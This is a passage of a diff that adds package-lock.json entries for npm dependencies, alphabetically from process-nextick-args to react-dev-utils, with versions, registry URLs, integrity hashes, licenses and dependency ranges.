22576+ "integrity": "sha512-cdGef/drWFoydD1JsMzuFf8100nZl+GT+yacc2bEced5f9Rjk4z+WtFUTBu9PhOi9j/jfmBPu0mMEY4wIdAF8A==",
22577+ "license": "MIT",
22578+ "engines": {
22579+ "node": ">= 0.6.0"
22580+ }
22581+ },
22582+ "node_modules/process-nextick-args": {
22583+ "version": "2.0.1",
22584+ "resolved": "https://registry.npmjs.org/process-nextick-args/-/process-nextick-args-2.0.1.tgz",
22585+ "integrity": "sha512-3ouUOpQhtgrbOa17J7+uxOTpITYWaGP7/AhoR3+A+/1e9skrzelGi/dXzEYyvbxubEF6Wn2ypscTKiKJFFn1ag==",
22586+ "license": "MIT"
22587+ },
22588+ "node_modules/promise": {
22589+ "version": "8.3.0",
22590+ "resolved": "https://registry.npmjs.org/promise/-/promise-8.3.0.tgz",
22591+ "integrity": "sha512-rZPNPKTOYVNEEKFaq1HqTgOwZD+4/YHS5ukLzQCypkj+OkYx7iv0mA91lJlpPPZ8vMau3IIGj5Qlwrx+8iiSmg==",
22592+ "license": "MIT",
22593+ "dependencies": {
22594+ "asap": "~2.0.6"
22595+ }
22596+ },
22597+ "node_modules/promise-to-callback": {
22598+ "version": "1.0.0",
22599+ "resolved": "https://registry.npmjs.org/promise-to-callback/-/promise-to-callback-1.0.0.tgz",
22600+ "integrity": "sha512-uhMIZmKM5ZteDMfLgJnoSq9GCwsNKrYau73Awf1jIy6/eUcuuZ3P+CD9zUv0kJsIUbU+x6uLNIhXhLHDs1pNPA==",
22601+ "license": "MIT",
22602+ "dependencies": {
22603+ "is-fn": "^1.0.0",
22604+ "set-immediate-shim": "^1.0.1"
22605+ },
22606+ "engines": {
22607+ "node": ">=0.10.0"
22608+ }
22609+ },
22610+ "node_modules/promise-worker-transferable": {
22611+ "version": "1.0.4",
22612+ "resolved": "https://registry.npmjs.org/promise-worker-transferable/-/promise-worker-transferable-1.0.4.tgz",
22613+ "integrity": "sha512-bN+0ehEnrXfxV2ZQvU2PetO0n4gqBD4ulq3MI1WOPLgr7/Mg9yRQkX5+0v1vagr74ZTsl7XtzlaYDo2EuCeYJw==",
22614+ "license": "Apache-2.0",
22615+ "dependencies": {
22616+ "is-promise": "^2.1.0",
22617+ "lie": "^3.0.2"
22618+ }
22619+ },
22620+ "node_modules/prompts": {
22621+ "version": "2.4.2",
22622+ "resolved": "https://registry.npmjs.org/prompts/-/prompts-2.4.2.tgz",
22623+ "integrity": "sha512-NxNv/kLguCA7p3jE8oL2aEBsrJWgAakBpgmgK6lpPWV+WuOmY6r2/zbAVnP+T8bQlA0nzHXSJSJW0Hq7ylaD2Q==",
22624+ "license": "MIT",
22625+ "dependencies": {
22626+ "kleur": "^3.0.3",
22627+ "sisteransi": "^1.0.5"
22628+ },
22629+ "engines": {
22630+ "node": ">= 6"
22631+ }
22632+ },
22633+ "node_modules/prop-types": {
22634+ "version": "15.8.1",
22635+ "resolved": "https://registry.npmjs.org/prop-types/-/prop-types-15.8.1.tgz",
22636+ "integrity": "sha512-oj87CgZICdulUohogVAR7AjlC0327U4el4L6eAvOqCeudMDVU0NThNaV+b9Df4dXgSP1gXMTnPdhfe/2qDH5cg==",
22637+ "license": "MIT",
22638+ "dependencies": {
22639+ "loose-envify": "^1.4.0",
22640+ "object-assign": "^4.1.1",
22641+ "react-is": "^16.13.1"
22642+ }
22643+ },
22644+ "node_modules/prop-types/node_modules/react-is": {
22645+ "version": "16.13.1",
22646+ "resolved": "https://registry.npmjs.org/react-is/-/react-is-16.13.1.tgz",
22647+ "integrity": "sha512-24e6ynE2H+OKt4kqsOvNd8kBpV65zoxbA4BVsEOB3ARVWQki/DHzaUoC5KuON/BiccDaCCTZBuOcfZs70kR8bQ==",
22648+ "license": "MIT"
22649+ },
22650+ "node_modules/proxy-addr": {
22651+ "version": "2.0.7",
22652+ "resolved": "https://registry.npmjs.org/proxy-addr/-/proxy-addr-2.0.7.tgz",
22653+ "integrity": "sha512-llQsMLSUDUPT44jdrU/O37qlnifitDP+ZwrmmZcoSKyLKvtZxpyV0n2/bD/N4tBAAZ/gJEdZU7KMraoK1+XYAg==",
22654+ "license": "MIT",
22655+ "dependencies": {
22656+ "forwarded": "0.2.0",
22657+ "ipaddr.js": "1.9.1"
22658+ },
22659+ "engines": {
22660+ "node": ">= 0.10"
22661+ }
22662+ },
22663+ "node_modules/proxy-from-env": {
22664+ "version": "1.1.0",
22665+ "resolved": "https://registry.npmjs.org/proxy-from-env/-/proxy-from-env-1.1.0.tgz",
22666+ "integrity": "sha512-D+zkORCbA9f1tdWRK0RaCR3GPv50cMxcrz4X8k5LTSUD1Dkw47mKJEZQNunItRTkWwgtaUSo1RVFRIG9ZXiFYg==",
22667+ "license": "MIT"
22668+ },
22669+ "node_modules/prr": {
22670+ "version": "1.0.1",
22671+ "resolved": "https://registry.npmjs.org/prr/-/prr-1.0.1.tgz",
22672+ "integrity": "sha512-yPw4Sng1gWghHQWj0B3ZggWUm4qVbPwPFcRG8KyxiU7J2OHFSoEHKS+EZ3fv5l1t9CyCiop6l/ZYeWbrgoQejw==",
22673+ "license": "MIT"
22674+ },
22675+ "node_modules/psl": {
22676+ "version": "1.15.0",
22677+ "resolved": "https://registry.npmjs.org/psl/-/psl-1.15.0.tgz",
22678+ "integrity": "sha512-JZd3gMVBAVQkSs6HdNZo9Sdo0LNcQeMNP3CozBJb3JYC/QUYZTnKxP+f8oWRX4rHP5EurWxqAHTSwUCjlNKa1w==",
22679+ "license": "MIT",
22680+ "dependencies": {
22681+ "punycode": "^2.3.1"
22682+ },
22683+ "funding": {
22684+ "url": "https://github.com/sponsors/lupomontero"
22685+ }
22686+ },
22687+ "node_modules/public-encrypt": {
22688+ "version": "4.0.3",
22689+ "resolved": "https://registry.npmjs.org/public-encrypt/-/public-encrypt-4.0.3.tgz",
22690+ "integrity": "sha512-zVpa8oKZSz5bTMTFClc1fQOnyyEzpl5ozpi1B5YcvBrdohMjH2rfsBtyXcuNuwjsDIXmBYlF2N5FlJYhR29t8Q==",
22691+ "license": "MIT",
22692+ "dependencies": {
22693+ "bn.js": "^4.1.0",
22694+ "browserify-rsa": "^4.0.0",
22695+ "create-hash": "^1.1.0",
22696+ "parse-asn1": "^5.0.0",
22697+ "randombytes": "^2.0.1",
22698+ "safe-buffer": "^5.1.2"
22699+ }
22700+ },
22701+ "node_modules/punycode": {
22702+ "version": "2.3.1",
22703+ "resolved": "https://registry.npmjs.org/punycode/-/punycode-2.3.1.tgz",
22704+ "integrity": "sha512-vYt7UD1U9Wg6138shLtLOvdAu+8DsC/ilFtEVHcH+wydcSpNE20AfSOduf6MkRFahL5FY7X1oU7nKVZFtfq8Fg==",
22705+ "license": "MIT",
22706+ "engines": {
22707+ "node": ">=6"
22708+ }
22709+ },
22710+ "node_modules/q": {
22711+ "version": "1.5.1",
22712+ "resolved": "https://registry.npmjs.org/q/-/q-1.5.1.tgz",
22713+ "integrity": "sha512-kV/CThkXo6xyFEZUugw/+pIOywXcDbFYgSct5cT3gqlbkBE1SJdwy6UQoZvodiWF/ckQLZyDE/Bu1M6gVu5lVw==",
22714+ "deprecated": "You or someone you depend on is using Q, the JavaScript Promise library that gave JavaScript developers strong feelings about promises. They can almost certainly migrate to the native JavaScript promise now. Thank you literally everyone for joining me in this bet against the odds. Be excellent to each other.\n\n(For a CapTP with native promises, see @endo/eventual-send and @endo/captp)",
22715+ "license": "MIT",
22716+ "engines": {
22717+ "node": ">=0.6.0",
22718+ "teleport": ">=0.2.0"
22719+ }
22720+ },
22721+ "node_modules/qrcode": {
22722+ "version": "1.4.4",
22723+ "resolved": "https://registry.npmjs.org/qrcode/-/qrcode-1.4.4.tgz",
22724+ "integrity": "sha512-oLzEC5+NKFou9P0bMj5+v6Z40evexeE29Z9cummZXZ9QXyMr3lphkURzxjXgPJC5azpxcshoDWV1xE46z+/c3Q==",
22725+ "license": "MIT",
22726+ "dependencies": {
22727+ "buffer": "^5.4.3",
22728+ "buffer-alloc": "^1.2.0",
22729+ "buffer-from": "^1.1.1",
22730+ "dijkstrajs": "^1.0.1",
22731+ "isarray": "^2.0.1",
22732+ "pngjs": "^3.3.0",
22733+ "yargs": "^13.2.4"
22734+ },
22735+ "bin": {
22736+ "qrcode": "bin/qrcode"
22737+ },
22738+ "engines": {
22739+ "node": ">=4"
22740+ }
22741+ },
22742+ "node_modules/qrcode/node_modules/ansi-regex": {
22743+ "version": "4.1.1",
22744+ "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-4.1.1.tgz",
22745+ "integrity": "sha512-ILlv4k/3f6vfQ4OoP2AGvirOktlQ98ZEL1k9FaQjxa3L1abBgbuTDAdPOpvbGncC0BTVQrl+OM8xZGK6tWXt7g==",
22746+ "license": "MIT",
22747+ "engines": {
22748+ "node": ">=6"
22749+ }
22750+ },
22751+ "node_modules/qrcode/node_modules/ansi-styles": {
22752+ "version": "3.2.1",
22753+ "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-3.2.1.tgz",
22754+ "integrity": "sha512-VT0ZI6kZRdTh8YyJw3SMbYm/u+NqfsAxEpWO0Pf9sq8/e94WxxOpPKx9FR1FlyCtOVDNOQ+8ntlqFxiRc+r5qA==",
22755+ "license": "MIT",
22756+ "dependencies": {
22757+ "color-convert": "^1.9.0"
22758+ },
22759+ "engines": {
22760+ "node": ">=4"
22761+ }
22762+ },
22763+ "node_modules/qrcode/node_modules/buffer": {
22764+ "version": "5.7.1",
22765+ "resolved": "https://registry.npmjs.org/buffer/-/buffer-5.7.1.tgz",
22766+ "integrity": "sha512-EHcyIPBQ4BSGlvjB16k5KgAJ27CIsHY/2JBmCRReo48y9rQ3MaUzWX3KVlBa4U7MyX02HdVj0K7C3WaB3ju7FQ==",
22767+ "funding": [
22768+ {
22769+ "type": "github",
22770+ "url": "https://github.com/sponsors/feross"
22771+ },
22772+ {
22773+ "type": "patreon",
22774+ "url": "https://www.patreon.com/feross"
22775+ },
22776+ {
22777+ "type": "consulting",
22778+ "url": "https://feross.org/support"
22779+ }
22780+ ],
22781+ "license": "MIT",
22782+ "dependencies": {
22783+ "base64-js": "^1.3.1",
22784+ "ieee754": "^1.1.13"
22785+ }
22786+ },
22787+ "node_modules/qrcode/node_modules/camelcase": {
22788+ "version": "5.3.1",
22789+ "resolved": "https://registry.npmjs.org/camelcase/-/camelcase-5.3.1.tgz",
22790+ "integrity": "sha512-L28STB170nwWS63UjtlEOE3dldQApaJXZkOI1uMFfzf3rRuPegHaHesyee+YxQ+W6SvRDQV6UrdOdRiR153wJg==",
22791+ "license": "MIT",
22792+ "engines": {
22793+ "node": ">=6"
22794+ }
22795+ },
22796+ "node_modules/qrcode/node_modules/cliui": {
22797+ "version": "5.0.0",
22798+ "resolved": "https://registry.npmjs.org/cliui/-/cliui-5.0.0.tgz",
22799+ "integrity": "sha512-PYeGSEmmHM6zvoef2w8TPzlrnNpXIjTipYK780YswmIP9vjxmd6Y2a3CB2Ks6/AU8NHjZugXvo8w3oWM2qnwXA==",
22800+ "license": "ISC",
22801+ "dependencies": {
22802+ "string-width": "^3.1.0",
22803+ "strip-ansi": "^5.2.0",
22804+ "wrap-ansi": "^5.1.0"
22805+ }
22806+ },
22807+ "node_modules/qrcode/node_modules/color-convert": {
22808+ "version": "1.9.3",
22809+ "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-1.9.3.tgz",
22810+ "integrity": "sha512-QfAUtd+vFdAtFQcC8CCyYt1fYWxSqAiK2cSD6zDB8N3cpsEBAvRxp9zOGg6G/SHHJYAT88/az/IuDGALsNVbGg==",
22811+ "license": "MIT",
22812+ "dependencies": {
22813+ "color-name": "1.1.3"
22814+ }
22815+ },
22816+ "node_modules/qrcode/node_modules/color-name": {
22817+ "version": "1.1.3",
22818+ "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.3.tgz",
22819+ "integrity": "sha512-72fSenhMw2HZMTVHeCA9KCmpEIbzWiQsjN+BHcBbS9vr1mtt+vJjPdksIBNUmKAW8TFUDPJK5SUU3QhE9NEXDw==",
22820+ "license": "MIT"
22821+ },
22822+ "node_modules/qrcode/node_modules/emoji-regex": {
22823+ "version": "7.0.3",
22824+ "resolved": "https://registry.npmjs.org/emoji-regex/-/emoji-regex-7.0.3.tgz",
22825+ "integrity": "sha512-CwBLREIQ7LvYFB0WyRvwhq5N5qPhc6PMjD6bYggFlI5YyDgl+0vxq5VHbMOFqLg7hfWzmu8T5Z1QofhmTIhItA==",
22826+ "license": "MIT"
22827+ },
22828+ "node_modules/qrcode/node_modules/find-up": {
22829+ "version": "3.0.0",
22830+ "resolved": "https://registry.npmjs.org/find-up/-/find-up-3.0.0.tgz",
22831+ "integrity": "sha512-1yD6RmLI1XBfxugvORwlck6f75tYL+iR0jqwsOrOxMZyGYqUuDhJ0l4AXdO1iX/FTs9cBAMEk1gWSEx1kSbylg==",
22832+ "license": "MIT",
22833+ "dependencies": {
22834+ "locate-path": "^3.0.0"
22835+ },
22836+ "engines": {
22837+ "node": ">=6"
22838+ }
22839+ },
22840+ "node_modules/qrcode/node_modules/is-fullwidth-code-point": {
22841+ "version": "2.0.0",
22842+ "resolved": "https://registry.npmjs.org/is-fullwidth-code-point/-/is-fullwidth-code-point-2.0.0.tgz",
22843+ "integrity": "sha512-VHskAKYM8RfSFXwee5t5cbN5PZeq1Wrh6qd5bkyiXIf6UQcN6w/A0eXM9r6t8d+GYOh+o6ZhiEnb88LN/Y8m2w==",
22844+ "license": "MIT",
22845+ "engines": {
22846+ "node": ">=4"
22847+ }
22848+ },
22849+ "node_modules/qrcode/node_modules/locate-path": {
22850+ "version": "3.0.0",
22851+ "resolved": "https://registry.npmjs.org/locate-path/-/locate-path-3.0.0.tgz",
22852+ "integrity": "sha512-7AO748wWnIhNqAuaty2ZWHkQHRSNfPVIsPIfwEOWO22AmaoVrWavlOcMR5nzTLNYvp36X220/maaRsrec1G65A==",
22853+ "license": "MIT",
22854+ "dependencies": {
22855+ "p-locate": "^3.0.0",
22856+ "path-exists": "^3.0.0"
22857+ },
22858+ "engines": {
22859+ "node": ">=6"
22860+ }
22861+ },
22862+ "node_modules/qrcode/node_modules/p-locate": {
22863+ "version": "3.0.0",
22864+ "resolved": "https://registry.npmjs.org/p-locate/-/p-locate-3.0.0.tgz",
22865+ "integrity": "sha512-x+12w/To+4GFfgJhBEpiDcLozRJGegY+Ei7/z0tSLkMmxGZNybVMSfWj9aJn8Z5Fc7dBUNJOOVgPv2H7IwulSQ==",
22866+ "license": "MIT",
22867+ "dependencies": {
22868+ "p-limit": "^2.0.0"
22869+ },
22870+ "engines": {
22871+ "node": ">=6"
22872+ }
22873+ },
22874+ "node_modules/qrcode/node_modules/path-exists": {
22875+ "version": "3.0.0",
22876+ "resolved": "https://registry.npmjs.org/path-exists/-/path-exists-3.0.0.tgz",
22877+ "integrity": "sha512-bpC7GYwiDYQ4wYLe+FA8lhRjhQCMcQGuSgGGqDkg/QerRWw9CmGRT0iSOVRSZJ29NMLZgIzqaljJ63oaL4NIJQ==",
22878+ "license": "MIT",
22879+ "engines": {
22880+ "node": ">=4"
22881+ }
22882+ },
22883+ "node_modules/qrcode/node_modules/string-width": {
22884+ "version": "3.1.0",
22885+ "resolved": "https://registry.npmjs.org/string-width/-/string-width-3.1.0.tgz",
22886+ "integrity": "sha512-vafcv6KjVZKSgz06oM/H6GDBrAtz8vdhQakGjFIvNrHA6y3HCF1CInLy+QLq8dTJPQ1b+KDUqDFctkdRW44e1w==",
22887+ "license": "MIT",
22888+ "dependencies": {
22889+ "emoji-regex": "^7.0.1",
22890+ "is-fullwidth-code-point": "^2.0.0",
22891+ "strip-ansi": "^5.1.0"
22892+ },
22893+ "engines": {
22894+ "node": ">=6"
22895+ }
22896+ },
22897+ "node_modules/qrcode/node_modules/strip-ansi": {
22898+ "version": "5.2.0",
22899+ "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-5.2.0.tgz",
22900+ "integrity": "sha512-DuRs1gKbBqsMKIZlrffwlug8MHkcnpjs5VPmL1PAh+mA30U0DTotfDZ0d2UUsXpPmPmMMJ6W773MaA3J+lbiWA==",
22901+ "license": "MIT",
22902+ "dependencies": {
22903+ "ansi-regex": "^4.1.0"
22904+ },
22905+ "engines": {
22906+ "node": ">=6"
22907+ }
22908+ },
22909+ "node_modules/qrcode/node_modules/wrap-ansi": {
22910+ "version": "5.1.0",
22911+ "resolved": "https://registry.npmjs.org/wrap-ansi/-/wrap-ansi-5.1.0.tgz",
22912+ "integrity": "sha512-QC1/iN/2/RPVJ5jYK8BGttj5z83LmSKmvbvrXPNCLZSEb32KKVDJDl/MOt2N01qU2H/FkzEa9PKto1BqDjtd7Q==",
22913+ "license": "MIT",
22914+ "dependencies": {
22915+ "ansi-styles": "^3.2.0",
22916+ "string-width": "^3.0.0",
22917+ "strip-ansi": "^5.0.0"
22918+ },
22919+ "engines": {
22920+ "node": ">=6"
22921+ }
22922+ },
22923+ "node_modules/qrcode/node_modules/y18n": {
22924+ "version": "4.0.3",
22925+ "resolved": "https://registry.npmjs.org/y18n/-/y18n-4.0.3.tgz",
22926+ "integrity": "sha512-JKhqTOwSrqNA1NY5lSztJ1GrBiUodLMmIZuLiDaMRJ+itFd+ABVE8XBjOvIWL+rSqNDC74LCSFmlb/U4UZ4hJQ==",
22927+ "license": "ISC"
22928+ },
22929+ "node_modules/qrcode/node_modules/yargs": {
22930+ "version": "13.3.2",
22931+ "resolved": "https://registry.npmjs.org/yargs/-/yargs-13.3.2.tgz",
22932+ "integrity": "sha512-AX3Zw5iPruN5ie6xGRIDgqkT+ZhnRlZMLMHAs8tg7nRruy2Nb+i5o9bwghAogtM08q1dpr2LVoS8KSTMYpWXUw==",
22933+ "license": "MIT",
22934+ "dependencies": {
22935+ "cliui": "^5.0.0",
22936+ "find-up": "^3.0.0",
22937+ "get-caller-file": "^2.0.1",
22938+ "require-directory": "^2.1.1",
22939+ "require-main-filename": "^2.0.0",
22940+ "set-blocking": "^2.0.0",
22941+ "string-width": "^3.0.0",
22942+ "which-module": "^2.0.0",
22943+ "y18n": "^4.0.0",
22944+ "yargs-parser": "^13.1.2"
22945+ }
22946+ },
22947+ "node_modules/qrcode/node_modules/yargs-parser": {
22948+ "version": "13.1.2",
22949+ "resolved": "https://registry.npmjs.org/yargs-parser/-/yargs-parser-13.1.2.tgz",
22950+ "integrity": "sha512-3lbsNRf/j+A4QuSZfDRA7HRSfWrzO0YjqTJd5kjAq37Zep1CEgaYmrH9Q3GwPiB9cHyd1Y1UwggGhJGoxipbzg==",
22951+ "license": "ISC",
22952+ "dependencies": {
22953+ "camelcase": "^5.0.0",
22954+ "decamelize": "^1.2.0"
22955+ }
22956+ },
22957+ "node_modules/qs": {
22958+ "version": "6.14.0",
22959+ "resolved": "https://registry.npmjs.org/qs/-/qs-6.14.0.tgz",
22960+ "integrity": "sha512-YWWTjgABSKcvs/nWBi9PycY/JiPJqOD4JA6o9Sej2AtvSGarXxKC3OQSk4pAarbdQlKAh5D4FCQkJNkW+GAn3w==",
22961+ "license": "BSD-3-Clause",
22962+ "dependencies": {
22963+ "side-channel": "^1.1.0"
22964+ },
22965+ "engines": {
22966+ "node": ">=0.6"
22967+ },
22968+ "funding": {
22969+ "url": "https://github.com/sponsors/ljharb"
22970+ }
22971+ },
22972+ "node_modules/query-string": {
22973+ "version": "6.13.5",
22974+ "resolved": "https://registry.npmjs.org/query-string/-/query-string-6.13.5.tgz",
22975+ "integrity": "sha512-svk3xg9qHR39P3JlHuD7g3nRnyay5mHbrPctEBDUxUkHRifPHXJDhBUycdCC0NBjXoDf44Gb+IsOZL1Uwn8M/Q==",
22976+ "license": "MIT",
22977+ "dependencies": {
22978+ "decode-uri-component": "^0.2.0",
22979+ "split-on-first": "^1.0.0",
22980+ "strict-uri-encode": "^2.0.0"
22981+ },
22982+ "engines": {
22983+ "node": ">=6"
22984+ },
22985+ "funding": {
22986+ "url": "https://github.com/sponsors/sindresorhus"
22987+ }
22988+ },
22989+ "node_modules/querystring-es3": {
22990+ "version": "0.2.1",
22991+ "resolved": "https://registry.npmjs.org/querystring-es3/-/querystring-es3-0.2.1.tgz",
22992+ "integrity": "sha512-773xhDQnZBMFobEiztv8LIl70ch5MSF/jUQVlhwFyBILqq96anmoctVIYz+ZRp0qbCKATTn6ev02M3r7Ga5vqA==",
22993+ "engines": {
22994+ "node": ">=0.4.x"
22995+ }
22996+ },
22997+ "node_modules/querystringify": {
22998+ "version": "2.2.0",
22999+ "resolved": "https://registry.npmjs.org/querystringify/-/querystringify-2.2.0.tgz",
23000+ "integrity": "sha512-FIqgj2EUvTa7R50u0rGsyTftzjYmv/a3hO345bZNrqabNqjtgiDMgmo4mkUjd+nzU5oF3dClKqFIPUKybUyqoQ==",
23001+ "license": "MIT"
23002+ },
23003+ "node_modules/queue-microtask": {
23004+ "version": "1.2.3",
23005+ "resolved": "https://registry.npmjs.org/queue-microtask/-/queue-microtask-1.2.3.tgz",
23006+ "integrity": "sha512-NuaNSa6flKT5JaSYQzJok04JzTL1CA6aGhv5rfLW3PgqA+M2ChpZQnAC8h8i4ZFkBS8X5RqkDBHA7r4hej3K9A==",
23007+ "funding": [
23008+ {
23009+ "type": "github",
23010+ "url": "https://github.com/sponsors/feross"
23011+ },
23012+ {
23013+ "type": "patreon",
23014+ "url": "https://www.patreon.com/feross"
23015+ },
23016+ {
23017+ "type": "consulting",
23018+ "url": "https://feross.org/support"
23019+ }
23020+ ],
23021+ "license": "MIT"
23022+ },
23023+ "node_modules/raf": {
23024+ "version": "3.4.1",
23025+ "resolved": "https://registry.npmjs.org/raf/-/raf-3.4.1.tgz",
23026+ "integrity": "sha512-Sq4CW4QhwOHE8ucn6J34MqtZCeWFP2aQSmrlroYgqAV1PjStIhJXxYuTgUIfkEk7zTLjmIjLmU5q+fbD1NnOJA==",
23027+ "license": "MIT",
23028+ "dependencies": {
23029+ "performance-now": "^2.1.0"
23030+ }
23031+ },
23032+ "node_modules/randombytes": {
23033+ "version": "2.1.0",
23034+ "resolved": "https://registry.npmjs.org/randombytes/-/randombytes-2.1.0.tgz",
23035+ "integrity": "sha512-vYl3iOX+4CKUWuxGi9Ukhie6fsqXqS9FE2Zaic4tNFD2N2QQaXOMFbuKK4QmDHC0JO6B1Zp41J0LpT0oR68amQ==",
23036+ "license": "MIT",
23037+ "dependencies": {
23038+ "safe-buffer": "^5.1.0"
23039+ }
23040+ },
23041+ "node_modules/randomfill": {
23042+ "version": "1.0.4",
23043+ "resolved": "https://registry.npmjs.org/randomfill/-/randomfill-1.0.4.tgz",
23044+ "integrity": "sha512-87lcbR8+MhcWcUiQ+9e+Rwx8MyR2P7qnt15ynUlbm3TU/fjbgz4GsvfSUDTemtCCtVCqb4ZcEFlyPNTh9bBTLw==",
23045+ "license": "MIT",
23046+ "dependencies": {
23047+ "randombytes": "^2.0.5",
23048+ "safe-buffer": "^5.1.0"
23049+ }
23050+ },
23051+ "node_modules/range-parser": {
23052+ "version": "1.2.1",
23053+ "resolved": "https://registry.npmjs.org/range-parser/-/range-parser-1.2.1.tgz",
23054+ "integrity": "sha512-Hrgsx+orqoygnmhFbKaHE6c296J+HTAQXoxEF6gNupROmmGJRoyzfG3ccAveqCBrwr/2yxQ5BVd/GTl5agOwSg==",
23055+ "license": "MIT",
23056+ "engines": {
23057+ "node": ">= 0.6"
23058+ }
23059+ },
23060+ "node_modules/raw-body": {
23061+ "version": "2.5.3",
23062+ "resolved": "https://registry.npmjs.org/raw-body/-/raw-body-2.5.3.tgz",
23063+ "integrity": "sha512-s4VSOf6yN0rvbRZGxs8Om5CWj6seneMwK3oDb4lWDH0UPhWcxwOWw5+qk24bxq87szX1ydrwylIOp2uG1ojUpA==",
23064+ "license": "MIT",
23065+ "dependencies": {
23066+ "bytes": "~3.1.2",
23067+ "http-errors": "~2.0.1",
23068+ "iconv-lite": "~0.4.24",
23069+ "unpipe": "~1.0.0"
23070+ },
23071+ "engines": {
23072+ "node": ">= 0.8"
23073+ }
23074+ },
23075+ "node_modules/react": {
23076+ "version": "18.3.1",
23077+ "resolved": "https://registry.npmjs.org/react/-/react-18.3.1.tgz",
23078+ "integrity": "sha512-wS+hAgJShR0KhEvPJArfuPVN1+Hz1t0Y6n5jLrGQbkb4urgPE/0Rve+1kMB1v/oWgHgm4WIcV+i7F2pTVj+2iQ==",
23079+ "license": "MIT",
23080+ "dependencies": {
23081+ "loose-envify": "^1.1.0"
23082+ },
23083+ "engines": {
23084+ "node": ">=0.10.0"
23085+ }
23086+ },
23087+ "node_modules/react-app-polyfill": {
23088+ "version": "3.0.0",
23089+ "resolved": "https://registry.npmjs.org/react-app-polyfill/-/react-app-polyfill-3.0.0.tgz",
23090+ "integrity": "sha512-sZ41cxiU5llIB003yxxQBYrARBqe0repqPTTYBTmMqTz9szeBbE37BehCE891NZsmdZqqP+xWKdT3eo3vOzN8w==",
23091+ "license": "MIT",
23092+ "dependencies": {
23093+ "core-js": "^3.19.2",
23094+ "object-assign": "^4.1.1",
23095+ "promise": "^8.1.0",
23096+ "raf": "^3.4.1",
23097+ "regenerator-runtime": "^0.13.9",
23098+ "whatwg-fetch": "^3.6.2"
23099+ },
23100+ "engines": {
23101+ "node": ">=14"
23102+ }
23103+ },
23104+ "node_modules/react-app-rewired": {
23105+ "version": "2.2.1",
23106+ "resolved": "https://registry.npmjs.org/react-app-rewired/-/react-app-rewired-2.2.1.tgz",
23107+ "integrity": "sha512-uFQWTErXeLDrMzOJHKp0h8P1z0LV9HzPGsJ6adOtGlA/B9WfT6Shh4j2tLTTGlXOfiVx6w6iWpp7SOC5pvk+gA==",
23108+ "license": "MIT",
23109+ "dependencies": {
23110+ "semver": "^5.6.0"
23111+ },
23112+ "bin": {
23113+ "react-app-rewired": "bin/index.js"
23114+ },
23115+ "peerDependencies": {
23116+ "react-scripts": ">=2.1.3"
23117+ }
23118+ },
23119+ "node_modules/react-app-rewired/node_modules/semver": {
23120+ "version": "5.7.2",
23121+ "resolved": "https://registry.npmjs.org/semver/-/semver-5.7.2.tgz",
23122+ "integrity": "sha512-cBznnQ9KjJqU67B52RMC65CMarK2600WFnbkcaiwWq3xy/5haFJlshgnpjovMVJ+Hff49d8GEn0b87C5pDQ10g==",
23123+ "license": "ISC",
23124+ "bin": {
23125+ "semver": "bin/semver"
23126+ }
23127+ },
23128+ "node_modules/react-chartjs-2": {
23129+ "version": "5.3.1",
23130+ "resolved": "https://registry.npmjs.org/react-chartjs-2/-/react-chartjs-2-5.3.1.tgz",
23131+ "integrity": "sha512-h5IPXKg9EXpjoBzUfyWJvllMjG2mQ4EiuHQFhms/AjUm0XSZHhyRy2xVmLXHKrtcdrPO4mnGqRtYoD0vp95A0A==",
23132+ "license": "MIT",
23133+ "peerDependencies": {
23134+ "chart.js": "^4.1.1",
23135+ "react": "^16.8.0 || ^17.0.0 || ^18.0.0 || ^19.0.0"
23136+ }
23137+ },
23138+ "node_modules/react-colorful": {
23139+ "version": "5.6.1",
23140+ "resolved": "https://registry.npmjs.org/react-colorful/-/react-colorful-5.6.1.tgz",
23141+ "integrity": "sha512-1exovf0uGTGyq5mXQT0zgQ80uvj2PCwvF8zY1RN9/vbJVSjSo3fsB/4L3ObbF7u70NduSiK4xu4Y6q1MHoUGEw==",
23142+ "license": "MIT",
23143+ "peerDependencies": {
23144+ "react": ">=16.8.0",
23145+ "react-dom": ">=16.8.0"
23146+ }
23147+ },
23148+ "node_modules/react-composer": {
23149+ "version": "5.0.3",
23150+ "resolved": "https://registry.npmjs.org/react-composer/-/react-composer-5.0.3.tgz",
23151+ "integrity": "sha512-1uWd07EME6XZvMfapwZmc7NgCZqDemcvicRi3wMJzXsQLvZ3L7fTHVyPy1bZdnWXM4iPjYuNE+uJ41MLKeTtnA==",
23152+ "license": "MIT",
23153+ "dependencies": {
23154+ "prop-types": "^15.6.0"
23155+ },
23156+ "peerDependencies": {
23157+ "react": "^15.0.0 || ^16.0.0 || ^17.0.0 || ^18.0.0"
23158+ }
23159+ },
23160+ "node_modules/react-copy-to-clipboard": {
23161+ "version": "5.1.0",
23162+ "resolved": "https://registry.npmjs.org/react-copy-to-clipboard/-/react-copy-to-clipboard-5.1.0.tgz",
23163+ "integrity": "sha512-k61RsNgAayIJNoy9yDsYzDe/yAZAzEbEgcz3DZMhF686LEyukcE1hzurxe85JandPUG+yTfGVFzuEw3xt8WP/A==",
23164+ "license": "MIT",
23165+ "dependencies": {
23166+ "copy-to-clipboard": "^3.3.1",
23167+ "prop-types": "^15.8.1"
23168+ },
23169+ "peerDependencies": {
23170+ "react": "^15.3.0 || 16 || 17 || 18"
23171+ }
23172+ },
23173+ "node_modules/react-countdown-circle-timer": {
23174+ "version": "3.2.1",
23175+ "resolved": "https://registry.npmjs.org/react-countdown-circle-timer/-/react-countdown-circle-timer-3.2.1.tgz",
23176+ "integrity": "sha512-yBAy/9ILXOiFbLBM+3jS72TW5LeRcH8wkRC9NNqMpUkCXkGjSnaeRbJMsR9lsYF0oVXjSDbJaRbCuVMT+9HnKA==",
23177+ "license": "MIT",
23178+ "peerDependencies": {
23179+ "react": ">=16.8.0"
23180+ }
23181+ },
23182+ "node_modules/react-dev-utils": {
23183+ "version": "12.0.1",
23184+ "resolved": "https://registry.npmjs.org/react-dev-utils/-/react-dev-utils-12.0.1.tgz",
23185+ "integrity": "sha512-84Ivxmr17KjUupyqzFode6xKhjwuEJDROWKJy/BthkL7Wn6NJ8h4WE6k/exAv6ImS+0oZLRRW5j/aINMHyeGeQ==",
23186+ "license": "MIT",
23187+ "dependencies": {
23188+ "@babel/code-frame": "^7.16.0",
23189+ "address": "^1.1.2",
23190+ "browserslist": "^4.18.1",
23191+ "chalk": "^4.1.2",
